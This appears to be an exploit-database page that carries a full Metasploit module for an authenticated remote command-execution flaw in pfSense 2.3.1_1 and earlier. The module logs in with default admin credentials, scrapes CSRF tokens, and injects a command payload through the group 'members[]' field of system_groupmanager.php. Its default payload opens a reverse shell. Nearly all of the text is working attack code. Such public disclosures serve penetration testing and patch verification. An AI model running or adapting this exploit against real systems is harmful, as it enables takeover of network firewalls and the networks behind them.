pfSense 2.3.1_1 Remote Command Execution

2017.11.29
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'pfSense authenticated group member RCE', 'Description' => %q( pfSense, a free BSD based open source firewall distribution, version <= 2.3.1_1 contains a remote command execution vulnerability post authentication in the system_groupmanager.php page. Verified against 2.2.6 and 2.3. ), 'Author' => [ 's4squatch', # discovery 'h00die' # module ], 'References' => [ [ 'EDB', '43128' ], [ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc'] ], 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Privileged' => false, 'DefaultOptions' => { 'SSL' => true, 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, 'Arch' => [ ARCH_CMD ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'perl openssl' } }, 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 06 2017' ) ) register_options( [ OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']), Opt::RPORT(443) ], self.class ) end def login res = send_request_cgi( 'uri' => '/index.php', 'method' => 'GET' ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200 /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_status("CSRF Token for login: #{csrf}") res = send_request_cgi( 'uri' => '/index.php', 'method' => 'POST', 'vars_post' => { '__csrf_magic' => csrf, 'usernamefld' => datastore['USERNAME'], 'passwordfld' => datastore['PASSWORD'], 'login' => '' } ) unless res fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request") end if res.code == 302 vprint_status('Successful Authentication') return res.get_cookies else fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") return nil end end def detect_version(cookie) res = send_request_cgi( 'uri' => '/index.php', 'method' => 'GET', 'cookie' => cookie ) unless res fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request") end /Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body if version print_status("pfSense Version Detected: #{version}") return Gem::Version.new(version) end # If the device isn't fully setup, you get stuck at redirects to wizard.php # however, this does NOT stop exploitation strangely print_error("pfSens Version Not Detected or wizard still enabled.") Gem::Version.new('0.0') end def check begin res = send_request_cgi( 'uri' => '/index.php', 'method' => 'GET' ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200 if /Login to pfSense/ =~ res.body Exploit::CheckCode::Detected else Exploit::CheckCode::Safe end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end def exploit begin cookie = login version = detect_version(cookie) vprint_good('Login Successful') res = send_request_cgi( 'uri' => '/system_groupmanager.php', 'method' => 'GET', 'cookie' => cookie, 'vars_get' => { 'act' => 'new' } ) /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_status("CSRF Token for group creation: #{csrf}") group_name = rand_text_alpha(10) post_vars = { '__csrf_magic' => csrf, 'groupname' => group_name, 'description' => '', 'members[]' => "0';#{payload.encoded};'", 'groupid' => '', 'save' => 'Save' } if version >= Gem::Version.new('2.3') post_vars = post_vars.merge('gtype' => 'local') elsif version <= Gem::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed post_vars = post_vars.merge( 'act' => '', 'gtype' => '', 'privid' => '' ) end send_request_cgi( 'uri' => '/system_groupmanager.php', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars, 'vars_get' => { 'act' => 'edit' } ) print_status("Manual removal of group #{group_name} is required.") rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end end


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